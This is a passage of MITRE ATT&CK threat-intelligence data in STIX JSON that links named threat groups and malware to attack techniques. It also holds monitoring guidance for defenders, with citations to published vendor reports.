"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."}], "modified": "2020-06-18T20:24:21.408Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used the Telegram Bot API from Telegram Messenger to send and receive commands to its Python backdoor. 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(2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", "source_name": "Unit 42 Tropic Trooper Nov 2016"}, {"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T12:59:00.542Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) used shellcode with an XOR algorithm to decrypt a payload. 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Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "The [IceApple](https://attack.mitre.org/software/S1022) Active Directory Querier module  can perform authenticated requests against an Active Directory server.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-06-28T14:36:56.406Z", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d6829fd4-7c9b-495f-9689-d1be1939f99e", "type": "relationship", "created": "2020-06-24T18:16:36.574Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "ESET Casbaneiro Oct 2019", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}], "modified": "2021-09-27T19:32:34.205Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has disguised an MSI file as the Adobe Acrobat Reader Installer and has masqueraded payloads as OneDrive, WhatsApp, or Spotify, for example.(Citation: Medium Metamorfo Apr 2020)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d68649d8-4f18-48b8-93b8-82c8660fc464", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 VERMIN Jan 2018", "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}], "modified": "2020-03-16T19:50:57.853Z", "description": "[VERMIN](https://attack.mitre.org/software/S0257) can download and upload files to the victim's machine.(Citation: Unit 42 VERMIN Jan 2018)", "relationship_type": "uses", "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d687171f-152f-4211-95bb-e051dc61575f", "created": "2022-04-15T01:29:57.601Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "SentinelOne Hermetic Wiper February 2022", "url": "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack", "description": "Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."}, {"source_name": "Crowdstrike DriveSlayer February 2022", "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/", "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to corrupt disk partitions and obtain raw disk access to destroy data.(Citation: Crowdstrike DriveSlayer February 2022)(Citation: SentinelOne Hermetic Wiper February 2022)", "modified": "2022-04-15T01:33:53.699Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d68f3474-8ba0-45e8-8876-3b1dd8a56fbf", "type": "relationship", "created": "2021-05-06T15:18:49.485Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. 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Retrieved September 2, 2021."}], "modified": "2021-10-15T14:37:09.462Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)\t ", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d6c9a16c-b643-46ef-9168-0ef6d9e071c8", "type": "relationship", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.868Z", "description": "Monitor the Registry for changes to the SSP Registry keys. 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Configuring Additional LSA Protection. Retrieved June 24, 2015.", "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d6cb7440-c39c-4bc2-b30e-5264a7f8753c", "type": "relationship", "created": "2020-10-09T14:23:34.744Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro FIN6 October 2019", "url": "https://www.trendmicro.com/en_us/research/19/j/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops.html", "description": "Chen, J. (2019, October 10). Magecart Card Skimmers Injected Into Online Shops. Retrieved September 9, 2020."}], "modified": "2020-10-09T14:23:34.744Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Metasploit Bind and Reverse TCP stagers.(Citation: Trend Micro FIN6 October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d6cee2d3-becd-409f-b5e8-00e7ae991845", "type": "relationship", "created": "2021-01-08T21:25:33.551Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}, {"source_name": "Proofpoint NETWIRE December 2020", "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. 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If the value does not match, the packet and the rest of the TCP session are passed to the legitimate listening application.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d71e8cf0-c181-46d8-b152-3ea2d4d218d6", "created": "2022-03-30T14:26:51.858Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly executed processes that may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement.", "modified": "2022-04-25T19:37:21.230Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d723027c-349b-48f8-af77-808ee2f7d92f", "created": "2023-02-08T20:33:11.363Z", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. 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Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Threatpost Lizar May 2021)(Citation: Gemini FIN7 Oct 2021)", "modified": "2022-04-05T17:26:47.613Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", "target_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d738cc0a-6d6f-41d9-88d0-9fe83bacad55", "created": "2022-01-05T16:06:56.725Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Group 72", "description": "Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}, {"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.686Z", "description": "[Axiom](https://attack.mitre.org/groups/G0001) has used spear phishing to initially compromise victims.(Citation: Cisco Group 72)(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d73c0fd6-cbd9-4eaa-abca-a1626364ab1b", "created": "2020-05-12T18:25:44.530Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. 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FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. 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Retrieved December 10, 2020."}], "modified": "2020-12-14T16:43:09.083Z", "description": "(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d747c1d7-646a-4d72-a00b-e2f10ed1f9eb", "type": "relationship", "created": "2021-10-06T15:29:42.644Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). 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Retrieved June 10, 2021."}], "modified": "2021-10-06T15:29:42.644Z", "description": "[AppleSeed](https://attack.mitre.org/software/S0622) can stage files in a central location prior to exfiltration.(Citation: Malwarebytes Kimsuky June 2021)", "relationship_type": "uses", "source_ref": "malware--295721d2-ee20-4fa3-ade3-37f4146b4570", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d74917d7-db59-4824-8e5c-7f97ae58f4a8", "type": "relationship", "created": "2022-03-30T14:26:51.873Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.873Z", "description": "Monitor for changes made to windows registry keys and/or values modifying W32Time information in the Registry.", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7563ead-61fb-4f5e-8832-64ce81c0ecb1", "type": "relationship", "created": "2022-01-10T19:52:49.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. 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Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:19.153Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) has created a scheduled task for persistence.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d758de81-c572-45dc-94ed-67a4dc1da3fe", "type": "relationship", "created": "2021-10-07T16:43:58.718Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). 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Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.786Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used malware disguised as Mozilla Firefox and a tool named mfevtpse.exe to proxy C2 communications, closely mimicking a legitimate McAfee file mfevtps.exe.(Citation: BitDefender Chafer May 2020)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d7a5af2e-669a-4e52-b29a-579320118b91", "created": "2022-03-30T14:26:51.833Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor access to file resources that contain local accounts and groups information such as <code>/etc/passwd</code>, <code>/Users</code> directories, and the SAM database. \n\nIf access requires high privileges, look for non-admin objects (such as users or processes) attempting to access restricted file resources.", "modified": "2022-04-14T14:01:00.795Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7a5d884-d3d9-48c8-915f-75d29d4b259e", "type": "relationship", "created": "2021-03-12T16:55:09.330Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}, {"source_name": "FireEye SUNSHUTTLE Mar 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}], "modified": "2021-03-12T17:29:55.648Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) will check if it is being run in a virtualized environment by comparing the collected MAC address to <code>c8:27:cc:c2:37:5a</code>.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7aa491f-a801-4611-ad07-5096e12c5c5f", "type": "relationship", "created": "2021-05-26T15:05:36.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}], "modified": "2021-05-26T15:39:51.021Z", "description": "[SombRAT](https://attack.mitre.org/software/S0615) can execute <code>loadfromfile</code>, <code>loadfromstorage</code>, and <code>loadfrommem</code> to inject a DLL  from disk, storage, or memory respectively.(Citation: BlackBerry CostaRicto November 2020)", "relationship_type": "uses", "source_ref": "malware--425771c5-48b4-4ecd-9f95-74ed3fc9da59", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7af8f20-9581-4b41-a591-118842f8ba6e", "type": "relationship", "created": "2021-04-19T21:59:12.700Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}, {"source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures", "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}], "modified": "2022-02-28T16:07:43.949Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has tricked unwitting recipients into clicking on malicious hyperlinks within emails crafted to resemble trustworthy senders.(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d7b34990-24d1-4eb1-a612-8079bf1a2e20", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Medium Detecting WMI Persistence", "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T20:52:04.754Z", "description": "Monitor executed commands and arguments that connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)\n\nNote: Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on potential connections and writing to remote shares. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7bb00a0-fbe6-4622-84ed-be32ff5d8561", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}], "modified": "2020-03-17T00:54:56.924Z", "description": "[DownPaper](https://attack.mitre.org/software/S0186) communicates to its C2 server over HTTP.(Citation: ClearSky Charming Kitten Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d7c40b1d-efe6-4869-9754-6494d45f51f1", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.687Z", "description": "[Hikit](https://attack.mitre.org/software/S0009) supports peer connections.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", "target_ref": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d7c4ba01-d1cd-4472-bbdb-69bf0ca85da9", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lockboxx ARD 2019", "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.", "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html"}, {"source_name": "Apple Unified Log Analysis Remote Login and Screen Sharing", "description": "Sarah Edwards. (2020, April 30). Analysis of Apple Unified Logs: Quarantine Edition [Entry 6] \u2013 Working From Home? Remote Logins. Retrieved August 19, 2021.", "url": "https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:41:30.343Z", "description": "Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. For example, in macOS you can review logs for \"screensharingd\" and \"Authentication\" event messages. (Citation: Lockboxx ARD 2019)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\n\nNote: When using Security event id 4624, %$ means user names that do not end with $ character. Usually, computer accounts or local system accounts names end with the $ character. When using Security event 4624, UserName and UserLogonId correspond to TargetUserName and TargetLogonId respectively. When using Security event 4624, LogonType 3 corresponds to a Network Logon\n\nAnalytic 1 - New services being created under network logon sessions by non-system users\n<code>(source=\"*WinEventLog:Security\" EventCode=\"4624\") AND LogonType=\"3\" AND UserName NOT '*$' \n| rename UserLogonId AS LogonID\n| join type=inner LogonID\n[| search (source=\"*WinEventLog:Security\" EventCode=\"4697\") \n| rename UserLogonId as LogonID]</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": 